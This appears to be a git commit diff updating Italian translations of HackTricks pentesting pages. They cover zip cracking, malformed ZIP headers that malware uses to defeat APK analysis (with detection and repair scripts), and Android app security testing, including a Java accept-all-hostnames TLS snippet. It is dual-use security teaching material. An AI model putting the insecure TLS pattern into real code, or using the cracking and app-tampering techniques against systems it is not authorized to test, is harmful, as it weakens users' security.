mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/mobile-pentesting/android-app-pentesting/README.md'
This commit is contained in:
Translator
parent
0ce5f67af0
commit
b646e9ae9c
@ -2,29 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Command-line tools** per gestire **zip files** sono essenziali per diagnosticare, riparare e crackare zip files. Ecco alcune utility chiave:
|
||||
**Command-line tools** per gestire i **file zip** sono essenziali per diagnosticare, riparare e crackare zip. Ecco alcune utility chiave:
|
||||
|
||||
- **`unzip`**: Mostra perché un file zip potrebbe non decomprimersi.
|
||||
- **`unzip`**: Rivela perché un file zip potrebbe non decomprimersi.
|
||||
- **`zipdetails -v`**: Offre un'analisi dettagliata dei campi del formato zip.
|
||||
- **`zipinfo`**: Elenca i contenuti di un file zip senza estrarli.
|
||||
- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentano di riparare file zip corrotti.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per il brute-force delle password di zip, efficace per password fino a circa 7 caratteri.
|
||||
- **`zipinfo`**: Elenca il contenuto di uno zip senza estrarlo.
|
||||
- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Provano a riparare zip corrotti.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per brute-force delle password di zip, efficace per password fino a circa 7 caratteri.
|
||||
|
||||
La [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornisce dettagli completi sulla struttura e sugli standard dei file zip.
|
||||
|
||||
È importante notare che i file zip protetti da password **non criptano i nomi dei file né le dimensioni dei file** al loro interno, una falla di sicurezza non presente in RAR o 7z che criptano queste informazioni. Inoltre, i file zip criptati con il vecchio metodo ZipCrypto sono vulnerabili a un **plaintext attack** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per crackare la password dello zip, una vulnerabilità descritta nell'articolo di [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e ulteriormente spiegata in [questo paper accademico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, i file zip protetti con crittografia **AES-256** sono immuni a questo plaintext attack, evidenziando l'importanza di scegliere metodi di crittografia sicuri per dati sensibili.
|
||||
È importante notare che gli zip protetti da password **non criptano nomi di file o dimensioni dei file** al loro interno, un difetto di sicurezza non presente in RAR o 7z che invece criptano queste informazioni. Inoltre, gli zip criptati con il vecchio metodo ZipCrypto sono vulnerabili a un **plaintext attack** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per crackare la password dello zip, una vulnerabilità descritta nell'[HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e spiegata più approfonditamente in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, gli zip protetti con crittografia **AES-256** sono immuni a questo plaintext attack, evidenziando l'importanza di scegliere metodi di cifratura sicuri per dati sensibili.
|
||||
|
||||
---
|
||||
|
||||
## Trucchi anti-reversing negli APK usando header ZIP manipolati
|
||||
## Anti-reversing tricks in APKs using manipulated ZIP headers
|
||||
|
||||
I moderni droppers per Android usano metadata ZIP malformati per rompere strumenti statici (jadx/apktool/unzip) mantenendo però l'APK installabile sul dispositivo. I trucchi più comuni sono:
|
||||
I moderni malware droppers per Android utilizzano metadata ZIP malformati per rompere gli strumenti statici (jadx/apktool/unzip) mantenendo però l'APK installabile sul dispositivo. I trucchi più comuni sono:
|
||||
|
||||
- Finta crittografia impostando il ZIP General Purpose Bit Flag (GPBF) bit 0
|
||||
- Abuso di Extra fields grandi/personalizzati per confondere i parser
|
||||
- Collisioni di nomi file/directory per nascondere artefatti reali (es., una directory chiamata `classes.dex/` accanto al vero `classes.dex`)
|
||||
- Fake encryption impostando il bit 0 del ZIP General Purpose Bit Flag (GPBF)
|
||||
- Abuso di campi Extra di grandi dimensioni/personalizzati per confondere i parser
|
||||
- Collisioni di nomi di file/directory per nascondere artefatti reali (es. una directory chiamata `classes.dex/` accanto al reale `classes.dex`)
|
||||
|
||||
### 1) Finta crittografia (GPBF bit 0 impostato) senza vera crittografia
|
||||
### 1) Fake encryption (GPBF bit 0 set) senza crittografia reale
|
||||
|
||||
Sintomi:
|
||||
- `jadx-gui` fallisce con errori come:
|
||||
@ -32,7 +32,7 @@ Sintomi:
|
||||
```
|
||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
||||
```
|
||||
- `unzip` chiede una password per file core dell'APK anche se un APK valido non può avere cifrati `classes*.dex`, `resources.arsc`, o `AndroidManifest.xml`:
|
||||
- `unzip` chiede una password per file core dell'APK anche se un APK valido non può avere `classes*.dex`, `resources.arsc`, o `AndroidManifest.xml` criptati:
|
||||
|
||||
```bash
|
||||
unzip sample.apk
|
||||
@ -47,7 +47,7 @@ Rilevamento con zipdetails:
|
||||
```bash
|
||||
zipdetails -v sample.apk | less
|
||||
```
|
||||
Guarda il General Purpose Bit Flag per le intestazioni locali e centrali. Un valore indicativo è il bit 0 impostato (Encryption) anche per le voci principali:
|
||||
Guarda il General Purpose Bit Flag per gli header locali e centrali. Un valore rivelatore è il bit 0 impostato (Encryption) anche per le voci core:
|
||||
```
|
||||
Extract Zip Spec 2D '4.5'
|
||||
General Purpose Flag 0A09
|
||||
@ -56,9 +56,9 @@ General Purpose Flag 0A09
|
||||
[Bit 3] 1 'Streamed'
|
||||
[Bit 11] 1 'Language Encoding'
|
||||
```
|
||||
Euristica: se un APK viene installato ed eseguito sul dispositivo ma le voci core appaiono "encrypted" agli strumenti, la GPBF è stata manomessa.
|
||||
Euristica: Se un APK si installa e viene eseguito sul dispositivo ma le core entries appaiono "encrypted" agli strumenti, il GPBF è stato manomesso.
|
||||
|
||||
Risolvi azzerando il bit 0 del GPBF sia nelle Local File Headers (LFH) sia nelle voci della Central Directory (CD). Minimal byte-patcher:
|
||||
Correzione: cancellare il bit 0 del GPBF sia nelle Local File Headers (LFH) che nelle Central Directory (CD) entries. Minimal byte-patcher:
|
||||
```python
|
||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
||||
import struct, sys
|
||||
@ -94,31 +94,31 @@ Uso:
|
||||
python3 gpbf_clear.py obfuscated.apk normalized.apk
|
||||
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
||||
```
|
||||
Ora dovresti vedere `General Purpose Flag 0000` sulle voci core e gli strumenti analizzeranno di nuovo l'APK.
|
||||
Ora dovresti vedere `General Purpose Flag 0000` sulle voci principali e gli strumenti analizzeranno nuovamente l'APK.
|
||||
|
||||
### 2) Campi Extra grandi/personalizzati per rompere i parser
|
||||
### 2) Grandi/personalizzati Extra fields per rompere i parsers
|
||||
|
||||
Gli attaccanti inseriscono campi Extra sovradimensionati e ID insoliti negli header per mandare in errore i decompilatori. Nel mondo reale potresti vedere marker personalizzati (es., stringhe come `JADXBLOCK`) incorporati lì.
|
||||
Gli attaccanti inseriscono Extra fields sovradimensionati e ID strani nei header per mandare in errore i decompilers. Nel mondo reale potresti vedere marcatori personalizzati (p.es., stringhe come `JADXBLOCK`) incorporati lì.
|
||||
|
||||
Ispezione:
|
||||
```bash
|
||||
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
||||
```
|
||||
Esempi osservati: ID sconosciuti come `0xCAFE` ("Java Executable") o `0x414A` ("JA:") che contengono payload di grandi dimensioni.
|
||||
Esempi osservati: ID sconosciuti come `0xCAFE` ("Eseguibile Java") o `0x414A` ("JA:") che contengono payloads di grandi dimensioni.
|
||||
|
||||
Euristiche DFIR:
|
||||
- Segnalare quando i campi Extra sono insolitamente grandi sulle voci core (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Considerare gli ID Extra sconosciuti su quelle voci come sospetti.
|
||||
DFIR euristiche:
|
||||
- Alert quando i campi Extra sono insolitamente grandi nelle voci core (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Considerare sospetti gli Extra ID sconosciuti in quelle voci.
|
||||
|
||||
Mitigazione pratica: ricostruire l'archivio (ad esempio, comprimere nuovamente i file estratti) rimuove i campi Extra maligni. Se gli strumenti si rifiutano di estrarre a causa di una falsa crittografia, prima azzerare il bit 0 di GPBF come sopra, poi ricreare il pacchetto:
|
||||
Mitigazione pratica: ricostruire l'archivio (ad esempio, ricomprimendo i file estratti) rimuove i campi Extra malevoli. Se gli strumenti rifiutano di estrarre a causa di una falsa crittografia, prima azzerare il bit 0 di GPBF come sopra, poi ripacchettare:
|
||||
```bash
|
||||
mkdir /tmp/apk
|
||||
unzip -qq normalized.apk -d /tmp/apk
|
||||
(cd /tmp/apk && zip -qr ../clean.apk .)
|
||||
```
|
||||
### 3) File/Directory name collisions (nascondere artefatti reali)
|
||||
### 3) Collisioni tra nomi di file e directory (nascondere artefatti reali)
|
||||
|
||||
Un file ZIP può contenere sia un file `X` che una directory `X/`. Alcuni extractors e decompilers si confondono e possono sovrapporre o nascondere il file reale con una voce di directory. Ciò è stato osservato con voci che collidevano con nomi core di APK come `classes.dex`.
|
||||
Un file ZIP può contenere sia un file `X` sia una directory `X/`. Alcuni strumenti di estrazione e decompilazione si confondono e possono sovrapporre o nascondere il file reale con una voce di directory. Questo è stato osservato per voci che collisionano con nomi principali degli APK come `classes.dex`.
|
||||
|
||||
Triage e estrazione sicura:
|
||||
```bash
|
||||
@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
|
||||
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
||||
# new name: unk_classes.dex
|
||||
```
|
||||
Suffisso post-rilevamento programmatico:
|
||||
Rilevamento programmatico post-fix:
|
||||
```python
|
||||
from zipfile import ZipFile
|
||||
from collections import defaultdict
|
||||
@ -148,10 +148,10 @@ for base, variants in collisions.items():
|
||||
if len(variants) > 1:
|
||||
print('COLLISION', base, '->', variants)
|
||||
```
|
||||
Idee di rilevamento per il Blue-team:
|
||||
- Segnala gli APK i cui header locali indicano crittografia (GPBF bit 0 = 1) ma che comunque vengono installati/avviati.
|
||||
- Segnala campi Extra grandi/sconosciuti sulle core entries (cerca marker come `JADXBLOCK`).
|
||||
- Segnala collisioni di percorso (`X` and `X/`) specificamente per `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
Blue-team detection ideas:
|
||||
- Segnala APKs i cui header locali indicano crittografia (GPBF bit 0 = 1) ma vengono comunque installati/eseguiti.
|
||||
- Segnala campi Extra grandi o sconosciuti nelle entry core (cerca marker come `JADXBLOCK`).
|
||||
- Segnala collisioni di percorso (`X` e `X/`) specificamente per `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
|
||||
---
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,10 +1,10 @@
|
||||
# Pentesting delle Applicazioni Android
|
||||
# Applicazioni Android Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Android Applications Basics
|
||||
## Nozioni di base sulle Applicazioni Android
|
||||
|
||||
Si raccomanda vivamente di iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza Android e i componenti più pericolosi in un'applicazione Android**:
|
||||
È altamente consigliato iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza Android e i componenti più pericolosi in un'applicazione Android**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,14 +13,14 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
|
||||
**ADB** permette di controllare i dispositivi sia via **USB** sia via **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni.
|
||||
Questo è lo strumento principale che serve per connettersi a un dispositivo Android (emulato o fisico).\
|
||||
**ADB** permette di controllare i dispositivi sia tramite **USB** sia tramite **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni.
|
||||
|
||||
Dai un'occhiata alla seguente lista di [**ADB Commands**](adb-commands.md) per imparare come usare adb.
|
||||
|
||||
## Smali
|
||||
|
||||
A volte è utile **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (ad esempio password ben offuscate o flag). In tal caso, può essere interessante decompilare l'apk, modificare il codice e ricompilarlo.\
|
||||
A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (ad esempio password ben offuscate o flag). In questo caso può essere utile decompilare l'apk, modificare il codice e ricompilarlo.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Questo può essere molto utile come **alternativa per diversi test durante l'analisi dinamica** che verranno presentati. Quindi, **tieni sempre presente questa possibilità**.
|
||||
|
||||
## Altri trucchi interessanti
|
||||
@ -29,8 +29,8 @@ A volte è utile **modificare il codice dell'applicazione** per accedere a **inf
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Estrarre APK dal dispositivo:
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Estrai APK dal dispositivo:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Unire tutti gli splits e base apks con [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Unisci tutti i splits e gli apks base con [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Casi di studio & Vulnerabilità
|
||||
## Casi di studio e Vulnerabilità
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -64,36 +64,36 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
## Analisi statica
|
||||
|
||||
Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** usando un decompiler.\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
Per favore, [**leggi qui per trovare informazioni sui diversi decompiler disponibili**](apk-decompilers.md).
|
||||
|
||||
### Ricerca di informazioni interessanti
|
||||
|
||||
Solo guardando le **strings** dell'APK puoi cercare **password**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche eventuali backdoor di esecuzione codice o backdoor di autenticazione (credenziali admin hardcoded nell'app).
|
||||
Solo dando un'occhiata alle **strings** dell'APK puoi cercare **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche code execution **backdoors** o authentication backdoors (hardcoded admin credentials nell'app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Presta particolare attenzione alle **firebase URLs** e verifica se è mal configurato. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Presta particolare attenzione alle **Firebase URLs** e verifica se sono configurate in modo errato. [Maggiori informazioni su cos'è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
|
||||
|
||||
L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessi usando decompiler o rinominando l'estensione del file APK in .zip e poi scompattandolo.
|
||||
L'**esame dei file _Manifest.xml_ e _strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza. Questi file possono essere ottenuti usando decompiler o rinominando l'estensione dell'APK in .zip e poi decomprimendolo.
|
||||
|
||||
Le **vulnerabilità** identificate dal **Manifest.xml** includono:
|
||||
**Vulnerabilità** identificate dal **Manifest.xml** includono:
|
||||
|
||||
- **Debuggable Applications**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ presentano un rischio perché permettono connessioni che possono portare a exploitation. Per capire meglio come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un device.
|
||||
- **Backup Settings**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per applicazioni che trattano informazioni sensibili per impedire backup non autorizzati dei dati tramite adb, specialmente quando usb debugging è abilitato.
|
||||
- **Network Security**: Le configurazioni personalizzate di network security (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pins e impostazioni del traffico HTTP. Un esempio è permettere traffico HTTP per domini specifici.
|
||||
- **Exported Activities and Services**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Un'analisi più approfondita durante i test dinamici può rivelare come sfruttare questi componenti.
|
||||
- **Content Providers and FileProviders**: Content provider esposti potrebbero permettere accesso o modifica non autorizzata dei dati. Anche la configurazione dei FileProviders va esaminata con attenzione.
|
||||
- **Broadcast Receivers and URL Schemes**: Questi componenti potrebbero essere sfruttati per l'exploitation, con particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input.
|
||||
- **SDK Versions**: Gli attributi `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicano le versioni Android supportate, sottolineando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
|
||||
- **Applicazioni debuggabili**: Le applicazioni impostate come debuggabili (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamento. Per capire come sfruttare applicazioni debuggabili, consulta un tutorial su come individuare e sfruttare applicazioni debuggabili su un dispositivo.
|
||||
- **Impostazioni di backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati via adb, specialmente quando il debug USB è abilitato.
|
||||
- **Network Security**: Le configurazioni personalizzate di network security (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pinning e impostazioni del traffico HTTP. Un esempio è consentire traffico HTTP per domini specifici.
|
||||
- **Attività e servizi esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere sfruttati. Un'ulteriore analisi durante i test dinamici può rivelare come sfruttare questi componenti.
|
||||
- **Content Providers e FileProviders**: Content provider esposti potrebbero permettere accesso non autorizzato o modifica dei dati. Anche la configurazione dei FileProvider dovrebbe essere esaminata attentamente.
|
||||
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come gli URL scheme sono gestiti riguardo alle vulnerabilità di input.
|
||||
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, sottolineando l'importanza di non supportare versioni Android obsolete e vulnerabili per ragioni di sicurezza.
|
||||
|
||||
Dal file **strings.xml** si possono scoprire informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, evidenziando la necessità di una revisione attenta di queste risorse.
|
||||
Dal file **strings.xml**, possono essere scoperte informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, sottolineando la necessità di una revisione accurata di queste risorse.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
Tapjacking è un attacco in cui una **applicazione** **malintenzionata** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visivamente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagirvi, mentre inoltra l'interazione all'app vittima.\
|
||||
In pratica, sta **accecando l'utente facendogli ignorare che sta effettivamente eseguendo azioni sull'app vittima**.
|
||||
**Tapjacking** è un attacco in cui una **applicazione malevola** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da indurre l'utente a interagire con essa, mentre l'interazione viene inoltrata all'app vittima.\
|
||||
Di fatto, è **accecare l'utente impedendogli di rendersi conto che sta effettivamente eseguendo azioni sull'app vittima**.
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -104,7 +104,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Un'attività con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task Hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'app reale, potrebbe **hijackare il task dell'app reale** (quindi l'utente interagirà con l'**applicazione malintenzionata** pensando di usare quella reale).
|
||||
Un'attività con il `launchMode` impostato su `singleTask` senza alcun `taskAffinity` definito è vulnerabile al task Hijacking. Questo significa che un'applicazione può essere installata e, se avviata prima della vera applicazione, potrebbe dirottare il task della vera applicazione (così l'utente interagirà con l'app malevola pensando di usare quella reale).
|
||||
|
||||
More info in:
|
||||
|
||||
@ -113,101 +113,101 @@ More info in:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Memorizzazione dei dati insicura
|
||||
### Archiviazione dei dati insicura
|
||||
|
||||
Internal Storage
|
||||
**Internal Storage**
|
||||
|
||||
In Android, i file **memorizzati** in **archiviazione interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** che i file siano **condivisi** tra diverse applicazioni. Queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, incluse quelle potenzialmente malintenzionate.
|
||||
In Android, i file **memorizzati** nella **internal storage** sono progettati per essere accessibili esclusivamente dall'**app** che li ha creati. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **permettere** che i file siano **condivisi** tra diverse applicazioni. Queste modalità **non limitano l'accesso** a questi file da altre applicazioni, comprese quelle potenzialmente malevole.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **esaminato con attenzione**. Queste modalità **possono potenzialmente esporre** i file ad **accessi non intenzionati o non autorizzati**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verifica** i **permessi** impostati sui file creati dall'app. In particolare, **controlla** se qualche file è **impostato come leggibile o scrivibile worldwide**. Questo può costituire un rischio significativo per la sicurezza, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** tali file.
|
||||
1. **Analisi statica:**
|
||||
- **Verifica** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **attentamente esaminato**. Queste modalità **possono potenzialmente esporre** file ad **accessi non intenzionati o non autorizzati**.
|
||||
2. **Analisi dinamica:**
|
||||
- **Controlla** i **permessi** impostati sui file creati dall'app. In particolare, **verifica** se alcuni file sono impostati come leggibili o scrivibili da tutti. Questo può rappresentare un rischio significativo per la sicurezza, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intenzione, di **leggere o modificare** tali file.
|
||||
|
||||
External Storage
|
||||
**External Storage**
|
||||
|
||||
Quando si lavora con file su **archiviazione esterna**, come le SD Card, è necessario prendere alcune precauzioni:
|
||||
Quando si lavora con file su **external storage**, come SD Card, devono essere prese alcune precauzioni:
|
||||
|
||||
1. **Accessibilità**:
|
||||
- I file su archiviazione esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
- I file su external storage sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
2. **Problemi di sicurezza**:
|
||||
- Data la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su archiviazione esterna.
|
||||
- L'archiviazione esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
|
||||
3. **Gestione dei dati dall'archiviazione esterna**:
|
||||
- Esegui sempre **validazione dell'input** sui dati recuperati dall'archiviazione esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
|
||||
- È fortemente sconsigliato memorizzare eseguibili o class files su archiviazione esterna per il caricamento dinamico.
|
||||
- Se la tua applicazione deve recuperare file eseguibili dall'archiviazione esterna, assicurati che questi file siano **signed e verificati crittograficamente** prima del caricamento dinamico. Questo passaggio è vitale per mantenere l'integrità di sicurezza della tua applicazione.
|
||||
- Data la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su external storage.
|
||||
- L'external storage può essere rimosso o accessibile da qualsiasi applicazione, rendendolo meno sicuro.
|
||||
3. **Gestione dei dati dall'external storage**:
|
||||
- Esegui sempre **validazione degli input** sui dati recuperati dall'external storage. Questo è cruciale perché i dati provengono da una fonte non fidata.
|
||||
- È fortemente sconsigliato memorizzare eseguibili o file di classi su external storage per il caricamento dinamico.
|
||||
- Se la tua applicazione deve recuperare file eseguibili dall'external storage, assicurati che questi file siano **firmati e verificati criptograficamente** prima del caricamento dinamico. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
|
||||
|
||||
External storage può essere **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
External storage può essere **acceduto** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
|
||||
> A partire da Android 4.4 (**API 17**), la SD card ha una struttura di directory che limita l'accesso di un'app alla directory specifica per quell'app. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app.
|
||||
|
||||
**Dati sensibili memorizzati in chiaro**
|
||||
|
||||
- **Shared preferences**: Android permette a ogni applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
- **Databases**: Android permette a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
|
||||
### Broken TLS
|
||||
### TLS rotto
|
||||
|
||||
Accept All Certificates
|
||||
**Accept All Certificates**
|
||||
|
||||
Per qualche motivo a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, l'hostname non corrisponde, con righe di codice come la seguente:
|
||||
Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, l'hostname non corrisponde, con righe di codice come la seguente:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
|
||||
Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA sul dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
|
||||
|
||||
### Crittografia debole
|
||||
### Crittografia difettosa
|
||||
|
||||
**Processi di gestione delle chiavi inadeguati**
|
||||
**Processi di gestione delle chiavi insufficienti**
|
||||
|
||||
Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché del reverse potrebbe permettere agli attacker di estrarre le informazioni riservate.
|
||||
